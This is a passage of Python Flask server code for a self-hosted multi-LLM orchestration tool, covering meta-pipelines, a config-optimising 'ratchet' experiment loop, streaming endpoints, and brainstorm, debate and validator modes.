_optimize_emit(job_id, {"type": "done", "best_score": best_score, "original_score": original_score, "improvement": improvement, "calls_used": calls_used})
_optimize_jobs[job_id]["status"] = "completed"
except Exception as e:
_optimize_emit(job_id, {"type": "error", "text": str(e)})
_optimize_emit(job_id, {"type": "done", "best_score": 0, "original_score": 0, "improvement": 0})
_optimize_jobs[job_id]["status"] = f"error: {e}"
def _gather_data_source(source):
"""Pull data from a system source for pipeline input."""
if source == "team_runs":
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT mode, prompt, responses, models_used, created_at FROM team_runs WHERE archived=false ORDER BY created_at DESC LIMIT 20")
runs = cur.fetchall()
parts = []
for r in runs:
resps = r.get("responses") or []
parts.append(f"[{r['mode']}] Prompt: {r['prompt'][:150]}")
for resp in resps[:3]:
parts.append(f" {resp.get('role','?')} ({resp.get('model','?')}): {resp.get('text','')[:200]}")
return "TEAM RUN HISTORY (last 20 runs):\n\n" + "\n".join(parts)
elif source == "security_logs":
try:
with open("/var/log/llm-team-security.log") as f:
lines = [l.strip() for l in f.readlines() if "192.168" not in l][-60:]
return "SECURITY LOG (last 60 external entries):\n\n" + "\n".join(lines)
except Exception:
return "No security log data."
elif source == "threat_intel":
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT ip, threat_level, classification, summary, country, isp, is_proxy, open_ports, blocklist_count FROM threat_intel ORDER BY enriched_at DESC LIMIT 20")
rows = cur.fetchall()
parts = [f"{r['ip']} [{r.get('threat_level','?')}] {r.get('classification','?')}{r.get('country','?')}/{r.get('isp','?')} proxy={r.get('is_proxy')} ports={r.get('open_ports',[])} blocklists={r.get('blocklist_count',0)}{r.get('summary','')[:100]}" for r in rows]
return "THREAT INTEL DATABASE (" + str(len(rows)) + " profiled IPs):\n\n" + "\n".join(parts)
elif source == "self_reports":
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT report_type, model, report, created_at FROM self_reports ORDER BY created_at DESC LIMIT 5")
rows = cur.fetchall()
parts = [f"[{r['report_type']}] ({r['model']}, {r['created_at']}):\n{r['report'][:500]}" for r in rows]
return "SELF-ANALYSIS REPORTS (last 5):\n\n" + "\n\n".join(parts)
return "No data source: " + source
STAGE_PROMPTS = {
"extract": "Extract all key facts, entities, patterns, and data points from this data. Return a structured list of findings. Be thorough — capture everything meaningful.\n\nDATA:\n{input}",
"research": "You are a research analyst. Given these extracted findings, generate deeper research questions and investigate each one. Expand on patterns, identify gaps, and add context.\n\nFINDINGS:\n{input}",
"validate": "You are a fact-checker. Review these findings and research notes. For each claim, mark as VERIFIED, UNCERTAIN, or FLAGGED. Be rigorous — challenge assumptions.\n\nRESEARCH:\n{input}",
"debate": "You are a critical analyst. Challenge these findings. What are the weak points? What alternative explanations exist? What's being overlooked? Play devil's advocate.\n\nVALIDATED FINDINGS:\n{input}",
"consensus": "You are synthesizing multiple analytical perspectives. Merge the validated findings with the critical challenges. Identify what's strongly supported vs. what needs more investigation.\n\nFINDINGS + CRITIQUES:\n{input}",
"synthesize": "Produce a final, actionable intelligence brief from all the analysis. Include: Executive Summary, Key Findings (ranked by confidence), Actionable Recommendations, and Open Questions.\n\nALL ANALYSIS:\n{input}",
}
def _run_meta_pipeline(pipeline_id):
"""Execute a meta-pipeline: chain stages, try model variants, score results."""
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT * FROM meta_pipelines WHERE id = %s", (pipeline_id,))
pipe = cur.fetchone()
if not pipe:
return
stages = pipe["stages"] or ["extract", "research", "validate", "synthesize"]
data_source = pipe["data_source"]
config = pipe["config"] or {}
model_sets = config.get("model_sets", [["qwen2.5:latest"], ["mistral:latest"], ["gemma2:latest"]])
max_iterations = config.get("max_iterations", len(model_sets))
_meta_status[pipeline_id] = {"stage": 0, "substep": "Gathering data...", "progress": 0, "iteration": 0}
# Gather source data
source_data = _gather_data_source(data_source)
best_score = 0
best_output = ""
best_models = []
for iteration, models in enumerate(model_sets[:max_iterations]):
if iteration >= max_iterations:
break
# Check if still running
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("SELECT status FROM meta_pipelines WHERE id = %s", (pipeline_id,))
row = cur.fetchone()
if not row or row[0] != "running":
break
_meta_status[pipeline_id]["iteration"] = iteration + 1
stage_results = []
current_input = source_data
model_idx = 0
for si, stage_name in enumerate(stages):
model = models[model_idx % len(models)]
model_idx += 1
_meta_status[pipeline_id].update({
"stage": si + 1,
"substep": f"Stage {si+1}/{len(stages)}: {stage_name} ({model})",
"progress": int(((iteration * len(stages) + si) / (max_iterations * len(stages))) * 100)
})
prompt_template = STAGE_PROMPTS.get(stage_name, "Analyze this data:\n\n{input}")
# Cap input to prevent context overflow
capped_input = current_input[:6000] if len(current_input) > 6000 else current_input
prompt = prompt_template.replace("{input}", capped_input)
try:
result = query_model(model, prompt)
stage_results.append({
"stage": stage_name, "model": model,
"output": result, "chars": len(result)
})
# Chain: this stage's output becomes next stage's input
current_input = result
except Exception as e:
stage_results.append({
"stage": stage_name, "model": model,
"output": f"Error: {e}", "chars": 0, "error": True
})
# Score the final output using a judge
final_output = current_input
judge_model = models[0]
try:
score_prompt = (
f"Score this analysis on a scale of 1-10 for: completeness, accuracy, actionability, and clarity. "
f"Return ONLY a JSON object: {{\"score\": N, \"reason\": \"brief\"}}\n\n{final_output[:3000]}"
)
score_raw = query_model(judge_model, score_prompt)
import re
score_match = re.search(r'"score"\s*:\s*(\d+\.?\d*)', score_raw)
score = float(score_match.group(1)) if score_match else 5.0
except Exception:
score = 5.0
duration_ms = 0 # simplified
# Save this iteration
with get_db() as conn:
with conn.cursor() as cur:
cur.execute(
"INSERT INTO meta_runs (pipeline_id, iteration, stage_results, final_output, score, model_config, duration_ms) VALUES (%s,%s,%s,%s,%s,%s,%s)",
(pipeline_id, iteration + 1, json.dumps(stage_results), final_output[:10000], score, json.dumps({"models": models}), duration_ms)
)
conn.commit()
if score > best_score:
best_score = score
best_output = final_output
best_models = models
_meta_status[pipeline_id]["substep"] = f"Iteration {iteration+1} scored {score:.1f}/10"
# Finalize
with get_db() as conn:
with conn.cursor() as cur:
cur.execute(
"UPDATE meta_pipelines SET status='completed', best_score=%s, iterations=%s, results=%s, updated_at=NOW() WHERE id=%s",
(best_score, len(model_sets[:max_iterations]), json.dumps({"best_models": best_models, "best_output": best_output[:5000]}), pipeline_id)
)
conn.commit()
_meta_status[pipeline_id] = {"stage": len(stages), "substep": "Complete", "progress": 100, "iteration": len(model_sets[:max_iterations])}
except Exception as e:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("UPDATE meta_pipelines SET status='error', updated_at=NOW() WHERE id=%s", (pipeline_id,))
conn.commit()
_meta_status[pipeline_id] = {"substep": f"Error: {e}", "progress": 0}
@app.route("/api/meta-pipeline", methods=["POST"])
@admin_required
def create_meta_pipeline():
d = request.json or {}
name = d.get("name", "Untitled Pipeline")
data_source = d.get("data_source", "team_runs")
stages = d.get("stages", ["extract", "research", "validate", "synthesize"])
models = d.get("models", [])
if not models:
cfg = load_config()
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
try:
resp = requests.get(f"{base}/api/tags", timeout=5)
all_m = [m["name"] for m in resp.json().get("models", []) if m["size"] > 1e9]
models = [[m] for m in all_m[:4]]
except Exception:
models = [["qwen2.5:latest"], ["mistral:latest"]]
config = {"model_sets": models, "max_iterations": len(models)}
with get_db() as conn:
with conn.cursor() as cur:
cur.execute(
"INSERT INTO meta_pipelines (name, data_source, stages, total_stages, config) VALUES (%s,%s,%s,%s,%s) RETURNING id",
(name, data_source, json.dumps(stages), len(stages), json.dumps(config))
)
pid = cur.fetchone()[0]
conn.commit()
return jsonify({"id": pid})
@app.route("/api/meta-pipeline/<int:pid>/start", methods=["POST"])
@admin_required
def start_meta_pipeline(pid):
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("UPDATE meta_pipelines SET status='running' WHERE id=%s", (pid,))
conn.commit()
t = threading.Thread(target=_run_meta_pipeline, args=(pid,), daemon=True)
_meta_threads[pid] = t
t.start()
return jsonify({"ok": True})
@app.route("/api/meta-pipeline/<int:pid>/stop", methods=["POST"])
@admin_required
def stop_meta_pipeline(pid):
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("UPDATE meta_pipelines SET status='stopped' WHERE id=%s", (pid,))
conn.commit()
return jsonify({"ok": True})
@app.route("/api/meta-pipelines")
@admin_required
def list_meta_pipelines():
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT id, name, data_source, stages, status, best_score, iterations, total_stages, created_at, updated_at FROM meta_pipelines ORDER BY created_at DESC LIMIT 20")
rows = cur.fetchall()
for r in rows:
r["created_at"] = r["created_at"].isoformat()
r["updated_at"] = r["updated_at"].isoformat()
r["live_status"] = _meta_status.get(r["id"])
return jsonify({"pipelines": rows})
@app.route("/api/meta-pipeline/<int:pid>")
@admin_required
def get_meta_pipeline(pid):
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT * FROM meta_pipelines WHERE id=%s", (pid,))
pipe = cur.fetchone()
if not pipe:
return jsonify({"error": "not found"}), 404
pipe["created_at"] = pipe["created_at"].isoformat()
pipe["updated_at"] = pipe["updated_at"].isoformat()
cur.execute("SELECT * FROM meta_runs WHERE pipeline_id=%s ORDER BY iteration", (pid,))
runs = cur.fetchall()
for r in runs:
r["created_at"] = r["created_at"].isoformat()
pipe["runs"] = runs
pipe["live_status"] = _meta_status.get(pid)
return jsonify(pipe)
@app.route("/api/pipelines")
@login_required
def get_pipelines():
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT id, pipeline, topic, status, models_used, duration_ms, created_at FROM pipeline_runs ORDER BY created_at DESC LIMIT 50")
runs = cur.fetchall()
for r in runs:
r["created_at"] = r["created_at"].isoformat() if r["created_at"] else None
return jsonify({"pipelines": runs})
except Exception as e:
return jsonify({"pipelines": [], "error": str(e)})
@app.route("/api/pipelines/<int:pid>")
@login_required
def get_pipeline(pid):
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT * FROM pipeline_runs WHERE id = %s", (pid,))
run = cur.fetchone()
if not run:
return jsonify({"error": "not found"}), 404
run["created_at"] = run["created_at"].isoformat() if run["created_at"] else None
run["completed_at"] = run["completed_at"].isoformat() if run["completed_at"] else None
return jsonify(run)
except Exception as e:
return jsonify({"error": str(e)}), 500
# ─── LAB: RATCHET ENGINE ──────────────────────────────────────
_lab_threads = {} # experiment_id -> thread
_lab_streams = {} # experiment_id -> [queue, ...]
def _lab_emit(exp_id, data):
for q in _lab_streams.get(exp_id, []):
q.append(data)
def _score_response(response, expected, metric, judge_model=None):
if metric == "accuracy":
if not expected:
return 5.0
resp_lower = response.lower().strip()
exp_lower = expected.lower().strip()
if exp_lower in resp_lower:
return 10.0
if any(w in resp_lower for w in exp_lower.split()):
return 5.0
return 1.0
elif metric == "speed":
return 10.0 # speed scored externally by duration
elif metric == "quality" and judge_model:
try:
judgment = query_model(judge_model,
f"Rate this response 1-10 for quality, relevance, and completeness.\n\n"
f"EXPECTED: {expected or 'No expected output specified'}\n\n"
f"RESPONSE: {response[:1500]}\n\n"
f"Return ONLY a number 1-10, nothing else.")
import re
m = re.search(r'\b(\d+)\b', judgment)
return min(float(m.group(1)), 10.0) if m else 5.0
except Exception:
return 5.0
return 5.0
def _ratchet_loop(exp_id):
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT * FROM lab_experiments WHERE id = %s", (exp_id,))
exp = cur.fetchone()
if not exp:
return
eval_cases = exp["eval_cases"] or []
models_pool = exp["models_pool"] or []
metric = exp["metric"] or "quality"
objective = exp["objective"] or "Improve response quality"
mutable = exp["mutable_config"] or {
"system_prompt": "You are a helpful assistant.",
"temperature": 0.7,
"model": models_pool[0] if models_pool else "llama3.2:latest",
}
best_config = exp["best_config"] or json.loads(json.dumps(mutable))
best_score = exp["best_score"] or 0
trial_num = exp["total_trials"] or 0
# Pick meta-model (largest in pool)
meta_model = models_pool[-1] if models_pool else "qwen2.5:latest"
judge_model = models_pool[0] if models_pool else "llama3.2:latest"
max_new_trials = 50 # safety cap — max trials per start
trials_this_run = 0
while trials_this_run < max_new_trials:
# Check if still running
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("SELECT status FROM lab_experiments WHERE id = %s", (exp_id,))
row = cur.fetchone()
if not row or row[0] != "running":
break
trial_num += 1
trials_this_run += 1
trial_start = time.time()
_lab_emit(exp_id, {"type": "status", "trial": trial_num, "message": f"Proposing change... (trial {trials_this_run}/{max_new_trials})"})
# Step 1: Meta-model proposes a change
history_hint = ""
if trial_num > 1:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT config_diff, avg_score, improved FROM lab_trials WHERE experiment_id = %s ORDER BY id DESC LIMIT 5", (exp_id,))
recent = cur.fetchall()
if recent:
history_hint = "\n\nRecent trials:\n" + "\n".join(
f" {'KEPT' if r['improved'] else 'DISCARDED'} (score {r['avg_score']:.1f}): {r['config_diff']}" for r in recent)
propose_prompt = (
f"You are optimizing an LLM pipeline. Objective: {objective}\n"
f"Metric: {metric} (higher is better, max 10)\n"
f"Current best score: {best_score:.1f}/10\n\n"
f"Current config:\n{json.dumps(mutable, indent=2)}\n\n"
f"Available models: {models_pool}\n"
f"Eval cases: {len(eval_cases)}\n"
f"{history_hint}\n\n"
f"Suggest exactly ONE change to improve the score. Return ONLY valid JSON with the FULL updated config. "
f"Keys: system_prompt (string), temperature (0.0-1.5), model (string from available models). "
f"Be creative but focused. Change only one thing at a time."
)
try:
proposal_raw = query_model(meta_model, propose_prompt)
import re
json_match = re.search(r'\{[\s\S]*\}', proposal_raw)
if json_match:
proposed = json.loads(json_match.group())
# Validate keys
if "system_prompt" not in proposed:
proposed["system_prompt"] = mutable.get("system_prompt", "")
if "temperature" not in proposed:
proposed["temperature"] = mutable.get("temperature", 0.7)
if "model" not in proposed:
proposed["model"] = mutable.get("model", models_pool[0])
else:
proposed = mutable
except Exception:
proposed = mutable
# Describe the diff
diffs = []
for k in set(list(mutable.keys()) + list(proposed.keys())):
old_v = mutable.get(k)
new_v = proposed.get(k)
if old_v != new_v:
if k == "system_prompt":
diffs.append(f"system_prompt changed ({len(str(old_v))}{len(str(new_v))} chars)")
else:
diffs.append(f"{k}: {old_v}{new_v}")
config_diff = "; ".join(diffs) if diffs else "no change"
_lab_emit(exp_id, {"type": "status", "trial": trial_num, "message": f"Testing: {config_diff[:80]}"})
# Step 2: Run eval cases with proposed config
trial_scores = []
model_to_use = proposed.get("model", models_pool[0] if models_pool else "llama3.2:latest")
sys_prompt = proposed.get("system_prompt", "")
for ci, case in enumerate(eval_cases):
inp = case.get("input", "")
expected = case.get("expected", "")
full_prompt = f"{sys_prompt}\n\n{inp}" if sys_prompt else inp
try:
resp = query_model(model_to_use, full_prompt)
score = _score_response(resp, expected, metric, judge_model if metric == "quality" else None)
trial_scores.append({"input": inp[:100], "score": score, "response": resp[:300]})
except Exception as e:
trial_scores.append({"input": inp[:100], "score": 0, "error": str(e)})
avg_score = sum(s["score"] for s in trial_scores) / max(len(trial_scores), 1)
duration_ms = int((time.time() - trial_start) * 1000)
improved = avg_score > best_score
# Step 3: Ratchet
if improved:
best_score = avg_score
best_config = json.loads(json.dumps(proposed))
mutable = json.loads(json.dumps(proposed))
else:
mutable = json.loads(json.dumps(best_config))
# Save trial
with get_db() as conn:
with conn.cursor() as cur:
cur.execute(
"""INSERT INTO lab_trials (experiment_id, trial_num, config_diff, config_snapshot, scores, avg_score, improved, duration_ms)
VALUES (%s, %s, %s, %s, %s, %s, %s, %s)""",
(exp_id, trial_num, config_diff, json.dumps(proposed), json.dumps(trial_scores), avg_score, improved, duration_ms)
)
cur.execute(
"""UPDATE lab_experiments SET total_trials = %s, best_score = %s, best_config = %s, mutable_config = %s,
improvements = improvements + %s WHERE id = %s""",
(trial_num, best_score, json.dumps(best_config), json.dumps(mutable), 1 if improved else 0, exp_id)
)
conn.commit()
_lab_emit(exp_id, {
"type": "trial", "trial": trial_num, "score": round(avg_score, 2),
"best": round(best_score, 2), "improved": improved, "diff": config_diff[:100],
"duration_ms": duration_ms
})
# Done
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("UPDATE lab_experiments SET status = 'paused' WHERE id = %s AND status = 'running'", (exp_id,))
conn.commit()
_lab_emit(exp_id, {"type": "done"})
except Exception as e:
_lab_emit(exp_id, {"type": "error", "message": str(e)})
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("UPDATE lab_experiments SET status = 'error' WHERE id = %s", (exp_id,))
conn.commit()
except Exception:
pass
# ─── LAB API ROUTES ───────────────────────────────────────────
@app.route("/lab")
@admin_required
def lab_page():
return render_template_string(LAB_HTML)
@app.route("/api/lab/experiments", methods=["GET"])
@admin_required
def lab_list():
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT id, name, status, metric, best_score, total_trials, improvements, models_pool, created_at FROM lab_experiments ORDER BY created_at DESC")
rows = cur.fetchall()
for r in rows:
r["created_at"] = r["created_at"].isoformat()
return jsonify({"experiments": rows})
@app.route("/api/lab/experiments", methods=["POST"])
@admin_required
def lab_create():
d = request.json
with get_db() as conn:
with conn.cursor() as cur:
cur.execute(
"""INSERT INTO lab_experiments (name, objective, metric, eval_cases, mutable_config, best_config, models_pool)
VALUES (%s, %s, %s, %s, %s, %s, %s) RETURNING id""",
(d["name"], d.get("objective", ""), d.get("metric", "quality"),
json.dumps(d.get("eval_cases", [])),
json.dumps(d.get("mutable_config", {"system_prompt": "You are a helpful assistant.", "temperature": 0.7, "model": ""})),
json.dumps(d.get("mutable_config", {"system_prompt": "You are a helpful assistant.", "temperature": 0.7, "model": ""})),
d.get("models_pool", []))
)
eid = cur.fetchone()[0]
conn.commit()
return jsonify({"id": eid})
@app.route("/api/lab/experiments/<int:eid>", methods=["GET"])
@admin_required
def lab_get(eid):
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT * FROM lab_experiments WHERE id = %s", (eid,))
exp = cur.fetchone()
if not exp:
return jsonify({"error": "not found"}), 404
exp["created_at"] = exp["created_at"].isoformat()
cur.execute("SELECT * FROM lab_trials WHERE experiment_id = %s ORDER BY trial_num", (eid,))
exp["trials"] = cur.fetchall()
for t in exp["trials"]:
t["created_at"] = t["created_at"].isoformat()
return jsonify(exp)
@app.route("/api/lab/experiments/<int:eid>", methods=["PUT"])
@admin_required
def lab_update(eid):
d = request.json
sets, vals = [], []
for k in ["name", "objective", "metric"]:
if k in d:
sets.append(f"{k} = %s")
vals.append(d[k])
for k in ["eval_cases", "mutable_config"]:
if k in d:
sets.append(f"{k} = %s")
vals.append(json.dumps(d[k]))
if "models_pool" in d:
sets.append("models_pool = %s")
vals.append(d["models_pool"])
if not sets:
return jsonify({"ok": True})
vals.append(eid)
with get_db() as conn:
with conn.cursor() as cur:
cur.execute(f"UPDATE lab_experiments SET {', '.join(sets)} WHERE id = %s", vals)
conn.commit()
return jsonify({"ok": True})
@app.route("/api/lab/experiments/<int:eid>/start", methods=["POST"])
@admin_required
def lab_start(eid):
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("UPDATE lab_experiments SET status = 'running' WHERE id = %s", (eid,))
conn.commit()
if eid in _lab_threads and _lab_threads[eid].is_alive():
return jsonify({"ok": True, "message": "Already running"})
t = threading.Thread(target=_ratchet_loop, args=(eid,), daemon=True)
_lab_threads[eid] = t
t.start()
return jsonify({"ok": True})
@app.route("/api/lab/experiments/<int:eid>/pause", methods=["POST"])
@admin_required
def lab_pause(eid):
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("UPDATE lab_experiments SET status = 'paused' WHERE id = %s", (eid,))
conn.commit()
return jsonify({"ok": True})
@app.route("/api/lab/experiments/<int:eid>/reset", methods=["POST"])
@admin_required
def lab_reset(eid):
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("UPDATE lab_experiments SET status = 'idle', total_trials = 0, improvements = 0, best_score = 0, best_config = mutable_config WHERE id = %s", (eid,))
cur.execute("DELETE FROM lab_trials WHERE experiment_id = %s", (eid,))
conn.commit()
return jsonify({"ok": True})
@app.route("/api/lab/experiments/<int:eid>/delete", methods=["DELETE"])
@admin_required
def lab_delete(eid):
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("DELETE FROM lab_experiments WHERE id = %s", (eid,))
conn.commit()
return jsonify({"ok": True})
@app.route("/api/lab/experiments/<int:eid>/stream")
@admin_required
def lab_stream(eid):
q = []
_lab_streams.setdefault(eid, []).append(q)
def generate():
try:
while True:
if q:
data = q.pop(0)
yield f"data: {json.dumps(data)}\n\n"
if data.get("type") == "done":
break
else:
time.sleep(0.5)
yield ": keepalive\n\n"
finally:
_lab_streams.get(eid, []).remove(q) if q in _lab_streams.get(eid, []) else None
return Response(generate(), mimetype="text/event-stream",
headers={"Cache-Control": "no-cache", "X-Accel-Buffering": "no"})
# ─── ACTIVE RUN TRACKING ──────────────────────────────────────
import uuid as _uuid
_active_runs = {} # run_id -> {mode, user, prompt, started, step, total_steps, substep, events, errors}
_run_log = [] # recent completed runs with timing/error info (last 100)
def _log_run(run_info):
"""Archive a completed run to the log."""
_run_log.append(run_info)
if len(_run_log) > 100:
_run_log.pop(0)
# ─── TEAM ROUTES ──────────────────────────────────────────────
@app.route("/api/run", methods=["POST"])
@login_required
def run_team():
ip = request.remote_addr
if rate_limited(ip):
return jsonify({"error": "Rate limit exceeded. Wait a minute."}), 429
config = request.json
if not config:
return jsonify({"error": "Request body required"}), 400
mode = config.get("mode", "")
if not mode:
return jsonify({"error": "Mode is required"}), 400
prompt = config.get("prompt", "").strip()
if not prompt:
return jsonify({"error": "Prompt cannot be empty"}), 400
RUNNERS = {
"brainstorm": run_brainstorm, "pipeline": run_pipeline, "debate": run_debate,
"validator": run_validator, "roundrobin": run_roundrobin, "redteam": run_redteam,
"consensus": run_consensus, "codereview": run_codereview, "ladder": run_ladder,
"tournament": run_tournament, "evolution": run_evolution, "blindassembly": run_blindassembly,
"staircase": run_staircase, "drift": run_drift, "mesh": run_mesh,
"hallucination": run_hallucination, "timeloop": run_timeloop,
"research": run_research, "eval": run_eval, "extract": run_extract,
"refine": run_refine,
}
run_id = str(_uuid.uuid4())[:8]
username = session.get("username", "unknown")
_active_runs[run_id] = {
"mode": mode, "user": username, "prompt": prompt[:100],
"started": time.time(), "step": 0, "total_steps": 0,
"substep": "", "events": 0, "errors": [],
"responses_size": 0
}
def generate():
import queue
collected = []
run = _active_runs[run_id]
event_queue = queue.Queue()
stop_heartbeat = threading.Event()
# Heartbeat thread: sends keepalive every 10s to prevent connection timeout
def heartbeat():
while not stop_heartbeat.is_set():
stop_heartbeat.wait(10)
if not stop_heartbeat.is_set():
event_queue.put(": keepalive\n\n")
hb_thread = threading.Thread(target=heartbeat, daemon=True)
hb_thread.start()
# Runner thread: executes the mode runner and pushes events to queue
def run_pipeline():
try:
runner = RUNNERS.get(mode)
if runner:
for event_str in runner(config):
event_queue.put(event_str)
else:
event_queue.put(sse({"type": "response", "model": "system", "text": f"Unknown mode: {mode}", "role": "error"}))
event_queue.put(sse({"type": "done"}))
except Exception as e:
run["errors"].append({"model": "system", "error": str(e)[:500], "time": time.time()})
event_queue.put(sse({"type": "response", "model": "system", "text": f"Pipeline error: {e}", "role": "error"}))
event_queue.put(sse({"type": "done"}))
finally:
event_queue.put(None) # sentinel
pipeline_thread = threading.Thread(target=run_pipeline, daemon=True)
pipeline_thread.start()
try:
while True:
try:
event_str = event_queue.get(timeout=30)
except queue.Empty:
# Safety keepalive if heartbeat thread died
yield ": keepalive\n\n"
continue
if event_str is None:
break
yield event_str
# Track events
if event_str.startswith("data: "):
run["events"] += 1
try:
data = json.loads(event_str[6:].strip())
evt_type = data.get("type")
if evt_type == "response":
text = data.get("text", "")
run["responses_size"] += len(text)
collected.append({"model": data.get("model", ""), "text": text, "role": data.get("role", "")})
if data.get("role") == "error":
run["errors"].append({"model": data.get("model"), "error": text[:200], "time": time.time()})
elif evt_type == "progress":
run["step"] = data.get("step", run["step"])
run["total_steps"] = data.get("total_steps", run["total_steps"])
run["substep"] = data.get("substep", "")
elif evt_type == "status":
run["substep"] = data.get("message", "")
except Exception:
pass
finally:
stop_heartbeat.set()
run["finished"] = time.time()
run["duration"] = round(run["finished"] - run["started"], 1)
run["response_count"] = len(collected)
_log_run(dict(run, run_id=run_id))
_active_runs.pop(run_id, None)
if collected:
rid = save_run(mode, config.get("prompt", ""), config, collected)
if rid:
yield sse({"type": "run_saved", "run_id": rid})
return Response(generate(), mimetype="text/event-stream",
headers={"Cache-Control": "no-cache", "X-Accel-Buffering": "no", "Connection": "keep-alive"})
# ─── ORIGINAL 10 MODES ────────────────────────────────────────
def run_brainstorm(config):
models, prompt = config.get("models", []), config["prompt"]
synthesizer = config.get("synthesizer", models[0] if models else "qwen2.5")
total = 2 if len(models) > 1 else 1
yield sse({"type": "clear"})
yield sse({"type": "progress", "step": 1, "total_steps": total, "substep": f"Querying {len(models)} models in parallel...", "percent": 10})
yield sse({"type": "status", "message": f"Querying {len(models)} models..."})
# Stream responses as they arrive instead of waiting for all
responses = {}
completed = 0
max_timeout = max((_get_timeout(m) for m in models), default=300) + 30
with ThreadPoolExecutor(max_workers=max(len(models), 1)) as pool:
futures = {pool.submit(safe_query, m, prompt): m for m in models}
for future in as_completed(futures, timeout=max_timeout):
m = futures[future]
try:
r = future.result(timeout=10)
except Exception as e:
r = f"Error: {e}"
responses[m] = r
completed += 1
pct = 10 + int((completed / len(models)) * 50)
yield sse({"type": "progress", "step": 1, "total_steps": total, "substep": f"{completed}/{len(models)} models responded", "percent": pct})
role = "error" if r.startswith("Error:") else "respondent"
yield sse({"type": "response", "model": m, "text": r, "role": role})
if len(responses) > 1:
yield sse({"type": "progress", "step": 2, "total_steps": total, "substep": f"Synthesizing with {synthesizer}...", "percent": 70})
yield sse({"type": "status", "message": f"Synthesizing with {synthesizer}..."})
parts = [("QUESTION:", prompt, 1), ("INSTRUCTION:", "Synthesize the best answer. Be concise.", 1)]
for m, r in responses.items():
parts.append((f"[{m}]:", cap_response(r), 3))
sp = build_context(parts, synthesizer)
try:
yield sse({"type": "response", "model": synthesizer, "text": safe_query(synthesizer, sp), "role": "synthesis"})
except Exception as e:
yield sse({"type": "response", "model": synthesizer, "text": str(e), "role": "error"})
yield sse({"type": "progress", "step": total, "total_steps": total, "substep": "Complete", "percent": 100})
def run_pipeline(config):
steps, current = config.get("steps", []), config["prompt"]
yield sse({"type": "clear"})
for i, step in enumerate(steps):
model = step["model"]
yield sse({"type": "status", "message": f"Step {i+1}/{len(steps)}: {model}..."})
try:
prompt = step["instruction"].replace("{input}", cap_response(current))
current = safe_query(model, prompt)
yield sse({"type": "response", "model": model, "text": current, "role": f"step {i+1}"})
except Exception as e:
yield sse({"type": "response", "model": model, "text": str(e), "role": "error"}); break
def run_debate(config):
prompt = config.get("prompt", "")
d1, d2, judge = config.get("debater1"), config.get("debater2"), config.get("judge")
if not all([d1, d2, judge]):
yield sse({"type": "response", "model": "system", "text": "Debate mode requires 'debater1', 'debater2', and 'judge' model parameters.", "role": "error"})
yield sse({"type": "done"})
return
rounds = config.get("rounds", 2)
yield sse({"type": "clear"})
history = []
for m in [d1, d2]:
yield sse({"type": "status", "message": f"{m} opening..."})
try:
r = safe_query(m, f"Give your position on: {prompt}")
history.append((m, r)); yield sse({"type": "response", "model": m, "text": r, "role": "opening"})
except Exception as e:
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
for rd in range(rounds):
for i, m in enumerate([d1, d2]):
other = [d1, d2][1-i]
other_last = [h[1] for h in history if h[0] == other][-1]
yield sse({"type": "status", "message": f"Round {rd+1}: {m}..."})
try:
rebuttal_prompt = build_context([
("Topic:", prompt, 1),
(f"Opponent ({other}) said:", cap_response(other_last), 2),
("INSTRUCTION:", "Rebuttal or concede:", 1),
], m)
r = safe_query(m, rebuttal_prompt)
history.append((m, r)); yield sse({"type": "response", "model": m, "text": r, "role": f"round {rd+1}"})
except Exception as e:
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
yield sse({"type": "status", "message": f"{judge} judging..."})
parts = [("Topic:", prompt, 1), ("INSTRUCTION:", "Judge: who won and why?", 1)]
for m, t in history:
parts.append((f"[{m}]:", cap_response(t), 3))
jp = build_context(parts, judge)
try:
yield sse({"type": "response", "model": judge, "text": safe_query(judge, jp), "role": "judge"})
except Exception as e:
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"})
def run_validator(config):
prompt, answerer, validators = config["prompt"], config["answerer"], config.get("validators", [])
yield sse({"type": "clear"})
yield sse({"type": "status", "message": f"{answerer} answering..."})
try:
answer = query_model(answerer, prompt)
yield sse({"type": "response", "model": answerer, "text": answer, "role": "answer"})
except Exception as e:
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
yield sse({"type": "status", "message": f"Validating with {len(validators)} models..."})
vp = f"QUESTION: {prompt}\n\nANSWER:\n{answer}\n\nFact-check. Score 1-10 for accuracy, completeness, clarity. Flag errors."
results = parallel_query(validators, vp)
for m, r in results.items():
yield sse({"type": "response", "model": m, "text": r, "role": "validator"})
def run_roundrobin(config):
